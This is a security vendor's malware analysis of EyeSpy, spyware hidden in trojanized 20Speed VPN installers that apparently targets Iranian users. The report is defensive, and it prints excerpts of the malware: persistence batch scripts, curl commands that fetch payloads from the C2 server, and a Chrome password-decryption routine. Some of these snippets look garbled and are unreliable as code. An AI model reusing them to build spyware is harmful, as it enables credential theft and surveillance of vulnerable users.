EyeSpy - Iranian Spyware Delivered in VPN Installers
Contents

Summary .................................................................................................................................................... 3
Technical analysis ....................................................................................................................................... 4
Initial Access ............................................................................................................................................... 4
  Installer within an installer .................................................................................................................. 4
Execution flow ......................................................................................................................................... 5
Analysis of Components ....................................................................................................................... 6
  sysCrt32.exe ........................................................................................................................................... 6
  sysConf32.bat .......................................................................................................................................... 6
  sysConf.bat ............................................................................................................................................ 6
  sysHourly32.bat ...................................................................................................................................... 6
  sysHourly.bat ......................................................................................................................................... 6
  sysBus32.exe ......................................................................................................................................... 7
  sysUpdt32.bat ....................................................................................................................................... 8
  sysInit32.bat ........................................................................................................................................ 8
  sysList32.bat ....................................................................................................................................... 8
  sysDI32.bat ......................................................................................................................................... 9
  sysOptimizer.bat ................................................................................................................................. 9
  libCache32.exe .................................................................................................................................. 10
  libTemp32.exe .................................................................................................................................... 11
  libchrome.exe ................................................................................................................................... 12
  sysUp32.bat ......................................................................................................................................... 12
  sysClean.bat ...................................................................................................................................... 14
  sysHourly.bat .................................................................................................................................... 15
Command and Control ........................................................................................................................... 15
Privacy Impact ......................................................................................................................................... 15
Campaign distribution ............................................................................................................................. 15
How Bitdefender Protects Against This Threat .................................................................................... 16
Conclusion ................................................................................................................................................ 17
Bibliography ............................................................................................................................................ 18
MITRE techniques breakdown ................................................................................................................ 18
Indicators of Compromise ..................................................................................................................... 18
Hashes ..................................................................................................................................................... 18
  20SPEED-VPN-v9.2.exe .......................................................................................................................... 18
  sysCrt32.exe ....................................................................................................................................... 18
  sysBus32.exe ...................................................................................................................................... 19
  libchrome.exe .................................................................................................................................... 19
  libCache32.exe .................................................................................................................................. 19
  libTemp32.exe ................................................................................................................................... 19
  Batch files .......................................................................................................................................... 19
URLs ......................................................................................................................................................... 19
IP Addresses .......................................................................................................................................... 19

Author:

Janos Gergo SZELES - Senior software engineer @ Bitdefender
Summary

During routine analysis of detection performance, we noticed a batch of processes that respected the same pattern in the process names. These names begin with sys, win or lib followed by a word that describes the functionality, such as bus, crt, temp, cache, init, and end in 32.exe. We later noticed that the .bat files and the downloaded payloads respect the same naming convention. Further investigation revealed the components are part of a monitoring application called SecondEye, developed in Iran and distributed legitimately via the developer’s website. We also found that some spyware components were already described in an article published by Blackpoint [1]. In the article, researchers drew attention to the dangers of legally distributed monitoring software with malicious behavior.

Our own researchers, as well as Blackpoint’s, found the campaigns used components of the SecondEye suite and their infrastructure. However, these components were not delivered through a legitimate SecondEye installer, but rather through Trojanized installers of VPN software (also developed in Iran) that dropped the spyware components along with the VPN product.

In light of the recent events, it’s possible that the targets are Iranians who want to access the internet via a VPN to bypass the country’s digital lockdown. Such malicious installers could plant spyware on people who pose a threat to the regime.

While less likely, we can’t rule out another possibility - that a malicious actor hijacked the servers of 20Speed VPN and SecondEye to deploy the spyware.

Geographical Distribution

Our investigation reveals that most detections originate from Iran, with a small pool of victims in Germany and the US. This supports our initial assumption that the campaign targets Iranians.
Technical analysis

Initial Access

When analyzing attack timelines on infected machines, we found in most cases that the first stage of the SecondEye component arrives on the system via an installer called 20SPEED-VPN-v9.2.exe. Our attempts to identify similar files revealed that the SecondEye files have been part of this installer all the way back to version 8.9. We found multiple domains associated with the software, but none of them are detected on VirusTotal. These domains are hxxps://20paper.live, hxxps://20ten.live, hxxps://20speed.co. The VPN service seems to be a paid subscription, but we could download an installer from the website without payment information, and we could validate that it also contains the spyware components.

Installer within an installer

Looking at the installer executable with a hex dump, we see patterns that indicate we are dealing with a Delphi-compiled executable. We can also see strings related to InnoSetup, version 5.5.7. However, innoextract [2], a tool developed by Daniel Scharrer to unpack the contents of such files, does not recognize this file as a valid InnoSetup executable. This means that the executable is a different installer type, so we continued to analyze the file and found strings related to Smart Install Maker [3], an easy-to-use GUI-based installer creation tool. After the Smart Install Maker header, we can see the contents along with the paths of the extracted files.

%localappdata%\Microsoft\WindowsApps\sysConf32.bat
%localappdata%\Microsoft\WindowsApps\sysHourly32.bat
%localappdata%\Microsoft\WindowsApps\sysConf.bat
%localappdata%\Microsoft\WindowsApps\sysHourly.bat
%localappdata%\Microsoft\WindowsApps\sysCrt32.exe
%localappdata%\Microsoft\WindowsApps\sysUpdt32.bat
%localappdata%\Microsoft\WindowsApps\sysInit32.bat
%localappdata%\Microsoft\WindowsApps\HoCnf.xml
%localappdata%\Microsoft\WindowsApps\sysBus32.exe
%localappdata%\Microsoft\WindowsApps\sys_release.txt
%localappdata%\Microsoft\WindowsApps\CURL.exe
%localappdata%\Microsoft\WindowsApps\7z.exe
%temp%\20SPEED-VPN-v9.2.exe

When we statically extract the contents of the Smart Install Maker file, we see that the files from %LOCALAPPDATA%\Microsoft\WindowsApps are the spyware components, while the installer with the same name as the original resides in the %TEMP% folder. As expected, this one is a valid InnoSetup file, and it installs the VPN software. The Smart Install file launches the first stage of the spyware (sysCrt32.exe) along with the legitimate InnoSetup installer (%TEMP%\20SPEED-VPN-v9.2.exe).
Analysis of Components

sysCrt32.exe
This is the spyware's initial executable. It ensures persistence is in place and that the WindowsApps folder appears in the %PATH% environment variable. First, it hides its own window with the help of the ShowWindow function. Then it starts the .bat files related to the initialization with the help of a wrapper function over CreateProcessA. The wrapper starts processes with the CREATE_NO_WINDOW flag to hide the console windows from view. The program has checks that validate the results of the batch scripts that perform queries. If the folder is not present in the environment variables or the scheduled task does not exist, it will call the scripts that add them.

```c
#include <windows.h>

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    HWND hWnd; // eax
    hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    if (func_CreateProcessAndWait("sysConf32.bat") == 1)
    {
        func_CreateProcessAndWait("sysConf.bat");
        Sleep(60*60*1); // 1 hour
    }
    if (func_CreateProcessAndWait("sysHourly32.bat") == 1)
    {
        func_CreateProcessAndWait("sysHourly.bat");
        return 0;
    }
```

sysConf32.bat
The first batch script ran by sysCrt32.exe. It checks if WindowsApps is present in the %PATH% variable.

```bash
@echo off
echo %path% | findstr WindowsApps >nul 2>nul
```

sysConf.bat
If WindowsApps is not present in the %PATH% variable, the program calls this batch file to set it.

```bash
@echo off
setx path %LOCALAPPDATA%\Microsoft\WindowsApps:
```

sysHourly32.bat
This batch script launches schtasks.exe to query if the task with the name Check sysHourly32 is present.

```bash
@echo off
schtasks /query /tn "Check sysHourly32" >nul 2>nul
```

sysHourly.bat
If the task is not present, this script creates it based on the .xml file dropped beside it.

```bash
@echo off
schtasks /create /xml "%LOCALAPPDATA%\Microsoft\WindowsApps\HoCnf.xml" /tn "Check sysHourly32" >nul 2>nul
```

Looking at the HoCnf.xml file, we can see that the task repeats every 3 hours and runs sysBus32.exe, the second executable of the spyware.
sysBus32.exe
This program is responsible for downloading and executing the second stage from the C2 server. It contains a hardcoded username and password and a zip password that we redacted out in our screenshots. First, the program hides its console window and builds file paths and an IP in its local variables. The IP of the C2 server is **213.232.124.157** (the legitimate SecondEye server).

Then, similar to sysCrt32.exe, it launches .bat files for further actions, giving the username and the passwords in plaintext in the command line.

In the above manner, the program launches the following batch scripts:

<table>
<thead>
<tr>
<th>Script</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sysUpdt32.bat</td>
<td>connects to an FTP server that contains a .php file and sends it a random value as an argument</td>
</tr>
<tr>
<td>sysInit32.bat</td>
<td>downloads and extracts the further payloads</td>
</tr>
<tr>
<td>sysList32.bat</td>
<td>checks if the computer and user names are in a list of infected systems</td>
</tr>
<tr>
<td>sysDl32.bat</td>
<td>downloads and extracts more payloads</td>
</tr>
<tr>
<td>winCrt32.exe</td>
<td>the initial executable of another set of payloads</td>
</tr>
<tr>
<td>sysOptimizer.bat</td>
<td>archives sensitive files and launches some of the payloads</td>
</tr>
<tr>
<td>sysUp32.bat</td>
<td>uploads stolen sensitive information to FTP</td>
</tr>
<tr>
<td>sysClean.bat</td>
<td>cleans up payloads, except the ones used by persistence</td>
</tr>
</tbody>
</table>

The sysBus32.exe process also logs execution dates in %TEMP%\sysCtl32.dat. Because of its persistence, the stealer can run multiple times a day. However, sysBus32.exe makes sure that it only calls the exfiltration script once a day.
sysUpdt32.bat
Using the curl.exe dropped along with the components, it connects to the FTP server to determine whether it needs to download new versions. Upon the first infection, the value in sys_release.txt is 0.5 to force an update every time.

```bash
:: BEGIN OFF
1 set IBAT=\"%LOCALAPPDATA%\Microsoft\WindowsApps\sys_release.txt\";
2 curl.exe --connect-timeout 30 -s ftp://VirtualDir/TB/sysupdt.php?user=HIDDEN&password=HIDDEN | findstr /A\"IBAT\" >mail 2>mail
3 if "%IBAT%" == "NO UPDT" goto NO_UPDT
4 if "%IBAT%" == "UPDT" goto UPDT
5 goto /B 1
6 goto /B 0
:: NO_UPDT
7 goto /B 1
8 goto /B 0
:: UPDT
9 curl.exe --connect-timeout 30 -s ftp://VirtualDir/TB/upd.zip ftp://VirtualDir/TB/upd.zip?user=HIDDEN&password=HIDDEN >mail 2>mail
10 if /i "%IBAT%" == "NO UPDT" goto NO_UPDT
```

sysInit32.bat
This script is responsible for downloading and extracting the second-stage payloads in the WindowsApps folder. It receives the password for the archive in the command line from the sysBus32.exe process. The script also cleans up the .zip file after extraction.

```bash
:: BEGIN OFF
1 set IPWD=\"%LOCALAPPDATA%\Microsoft\WindowsApps\syslist.php\";
2 curl.exe --connect-timeout 30 -s ftp://VirtualDir/TB/syslist.php?user=HIDDEN&password=HIDDEN | findstr /A\"IPWD\" >mail 2>mail
3 if "%IPWD%" == "NO_UPT" goto NO_UPT
4 if "%IPWD%" == "UPDT" goto UPDT
5 goto /B 1
6 goto /B 0
:: NO_UPT
7 goto /B 1
8 goto /B 0
:: UPDT
9 curl.exe --connect-timeout 30 -s ftp://VirtualDir/TB/syslist.php?user=HIDDEN&password=HIDDEN >mail 2>mail
10 if /i "%IPWD%" == "NO_UPT" goto NO_UPT
11 curl.exe --connect-timeout 30 -s ftp://VirtualDir/TB/syslist.php?user=HIDDEN&password=HIDDEN >mail 2>mail
```

sysList32.bat
This script downloads a list of infected machines from the FTP server stored in the syslist.php file to check if the computer and user names appear. This check fails during the first execution of sysBus32.exe, and the process does not execute the code from the if branch (shown in Fig. 15). We observed that no further component appends this data to syslist.php. There are a few possible explanations for this code. Either the attacker updates the file after processing exfiltrated data, or it is leftover code from a previous version, and that module never runs in newer versions.
sysDl32.bat

Similarly to sysInit32.bat, it downloads a set of payloads with the help of curl.exe and extracts the archive with 7z.exe. The archive named BB.zip was not present on the FTP server at the time of our research.

sysOptimizer.bat

This batch script is larger than the previous ones. It’s responsible for collecting and archiving personal files from the infected system. First, it checks if Mozilla is present in %APPDATA%, and if so, it archives all files from the Firefox directory. It then iterates through all possible partitions and searches for txt, doc, png, and jpg files in folders that might contain personal data. It then creates a zip archive with each extension. Finally, it runs libCache32.exe and libTemp32.exe from %LOCALAPPDATA%\Microsoft\WindowsApps.
For stealer components that require more advanced features, the attackers used executables written in Python and compiled with pyinstaller [4], a tool that converts python scripts to standalone executables. After extracting the contents from the archive, we can see the source code. This executable is a keylogger. It places a hook on the keyboard with the help of the pyHook library and logs each keypress grouped by destination windows in a file called `boot.tmp`. 

```
libCache32.exe
```
libTemp32.exe
This file is also a compiled python script. It runs in an infinite loop and logs the clipboard contents in a file called sys.tmp.
libchrome.exe

The third compiled pyinstaller executable ran by the batch script that uploads data to the C2 server. It is responsible for querying Google Chrome’s SQLite databases to log usernames and passwords. It uses stolen tokens from *Local State and *Login Data files to decrypt the stored passwords.

def Cpfrd(Cphr, PyId):
    return Cphr.decrypt(PyId)

def Gcphr(aes_kld, i_v):
    return AES.new(aes_kld, AES.MODE_GCM, i_v)

def Dpass(buf, Ma_kld):
    try:
        i_v = buf[3:15]
        PyId = buf[15:]
        Cphr = Gcphr(Ma_kld, i_v)
        Dec_p = Cpfrd(Cphr, PyId)
        Dec_p = Dec_p[-16:].decode()
        return "Chrm < 60"
    except Exception as e:
        return "Chrm < 60"

sysUp32.bat

It will call sysUp32.bat with a new set of hardcoded credentials in the command line. The batch script collects all files created by all components and uploads them to the FTP. It also exfiltrates Chrome passwords and crypto-wallet data.
sysClean.bat

This script is responsible for cleaning up the payloads from the system. It calls the background processes (sysCache32.exe, sysTemp32.exe) and deletes the files that are not essential for persistence. During subsequent executions, the first stage downloads these payloads again.
We saw in `sysDl32.bat` that the malware historically downloaded another set of components from the FTP server where the file names started with the string `win`. The initial file respects the same naming convention, the execution beginning with `winCrt32.exe`. We also found a `winBus32.exe` file in our zoo that follows a similar structure to `sysBus32.exe`. The difference is that it uses another IP to download subsequent stages and to exfiltrate data, and the batch scripts have different names. It might be another version of the same attack with some leftover code blocks.

### Command and Control

The C2 servers belong to SecondEye and are hosted on Novinhost. The IP used by the initial execution flow is **213.232.124.157**, and the other IP used by the additional payloads is **94.130.247.148**.

The servers aren't running all the time. During our research, we noticed that the servers are available in short time intervals to download payloads. This reduces hosting costs and makes the malware evasive if detonated in an automated sandbox. No special User-Agents are involved in the communication with the C2. The malware uses `curl.exe` to access the FTP servers.

### Privacy Impact

Due to EyeSpy's capabilities, user privacy is seriously affected. The malware steals sensitive information from an infected system, like stored passwords, crypto-wallet data, documents and images, contents from clipboard, and logs key presses. This can lead to complete account takeovers, identity theft and financial loss. Moreover, by logging keypresses, attackers can obtain messages typed by the victim on social media or e-mail, and this information can be used to blackmail the victims.

### Campaign distribution

We can see a growing number of detections in the past 6 months. As people in Iran try to obtain access to the internet
via VPN, more and more of them find the malicious installer and install EyeSpy, exposing them to the risk of losing privacy.

From the geographical distribution we can see that most of the detections come from Iran.

How Bitdefender Protects Against This Threat

Bitdefender protects against this threat by detecting the malicious installer file (Application.20Speed.A), before any component executes. Active Threat Control blocks the process that initializes the spyware, sysCrt32.exe. The malicious executables from the second stage are detected with Trojan.SecondEye.A. In report only mode, we can see all the detected files in the Graph View of the incident in GravityZone. Detections are red nodes in the graph.
Bitdefender also detects existing infections, by detecting the persistence process, sysBus32.exe both with on-access (Trogan.SecondEye.A) and with Active Threat Control upon launch.

Conclusion
This article is a deep dive into EyeSpy, a spyware marketed as a legitimate monitoring application that arrives on the system via Trojanized installers. The attack seems to target Iranian users trying to download VPN solutions to bypass Internet restrictions in their country. The components of the malware are scripts that steal sensitive information from the system and upload them to an FTP server belonging to SecondEye. We recommend using well-known VPN solutions downloaded from legitimate sources. Also, a security solution, like Bitdefender, can protect against information stealers.

Bibliography


MITRE techniques breakdown

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Credential Access</th>
<th>Collection</th>
<th>Command and Control</th>
<th>Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td>Supply Chain</td>
<td>Command</td>
<td>Scheduled Task/</td>
<td>Credentials</td>
<td>Archive</td>
<td>Application</td>
<td>Exfiltration Over C2 Channel</td>
</tr>
<tr>
<td>Compromise:</td>
<td>and Scripting</td>
<td>= Job: Scheduled</td>
<td>= from Password Stores</td>
<td>Collected Data:</td>
<td>Layer Protocol:</td>
<td></td>
</tr>
<tr>
<td>Compromise</td>
<td>Interpreter:</td>
<td>Task</td>
<td>Credentials from Web</td>
<td>Archive via Utility</td>
<td>File Transfer Protocols</td>
<td></td>
</tr>
<tr>
<td>Software Supply</td>
<td>Windows</td>
<td></td>
<td>Browsers</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Chain</td>
<td>Command Shell</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Credential Access</th>
<th>Collection</th>
<th>Command and Control</th>
<th>Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td>Scheduled Task/Job: Scheduled Task</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Credential Access</th>
<th>Collection</th>
<th>Command and Control</th>
<th>Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Execution</td>
<td>Malicious File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Credential Access</th>
<th>Collection</th>
<th>Command and Control</th>
<th>Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Indicators of Compromise

Hashes

**20SPEED-VPN-v9.2.exe**
f25a07686aa75a33a7e6a3db45ba8bfb
904680220f5c1737f7a30f8260997c6
ad5ee13025e154d704322dd4f94d6f16
e6c76cf8e42ca5e0bf2b270be0c5b35b

**sysCrt32.exe**
4135ba76781b3f3f61db132998a3159e
sysBus32.exe
fee03c711f98c4b480d09b5ea1d71e1
4a8d7229da52d74f9f27b152f22d935
d1397ff21b376f95e41e200207ecf126

libchrome.exe
9b48dbb99f7c1943b7dd195180877559
5dec6685132795c69f3f78570d5815
be9f4c625a8450c28450d149d054861f
f805ed51d61319548519e940e28d7cd4

libCache32.exe
9df422da4f01155529c917fb2f3bd38a

libTemp32.exe
3197a97f6e5544be3f0b4f4c847b472

Batch files
3b6a5bfe292249a33f2388f6bf334eaac - sysClean.bat
e8453572f4efc515b34518a0514d0728 - sysDl32.bat
0693880440287a8d66a6ff534128b91 - sysInit32.bat
41bfc10caa0850b017c8d24cf86fbac2 - sysList32.bat
8442ca787f1dbf64f9d6b837eb93e70a - sysOptimizer.bat
92ff4d8f08578e8c4f347125ac5b0f989 - sysUp.bat
55643e7ec7ddff25f36f67a6c176cde - sysUpdt32.bat
cbd328ee76edd19192346841bc072f8d - sysConf.bat
cf2446297eb0011bced4e15ea7074a536 - sysConf32.bat
ef95b8681e2719981b751acd97d5524f - sysHourly32.bat
4bae615f5e0e21a90315d9a225c49bed - sysInit32.bat
27c8368836d5da243d3034ac394a10e15 - sysUpdt32.bat

URLs
hxps://20paper.live
hxps://20ten.live
hxps://20speed.co

IP Addresses
213.232.124.157
94.130.247.148
About Bitdefender

Bitdefender is a cybersecurity leader delivering best-in-class threat prevention, detection, and response solutions worldwide. Guardian over millions of consumer, enterprise, and government environments, Bitdefender is one of the industry’s most trusted experts for eliminating threats, protecting privacy, digital identity and data, and enabling cyber resilience. With deep investments in research and development, Bitdefender Labs discovers hundreds of new threats each minute and validates billions of threat queries daily. The company has pioneered breakthrough innovations in anti-malware, IoT security, behavioral analytics, and artificial intelligence and its technology is licensed by more than 150 of the world’s most recognized technology brands. Founded in 2001, Bitdefender has customers in 170+ countries with offices around the world.

For more information, visit https://www.bitdefender.com.

All Rights Reserved. © 2022 Bitdefender. All trademarks, trade names, and products referenced herein are the property of their respective owners.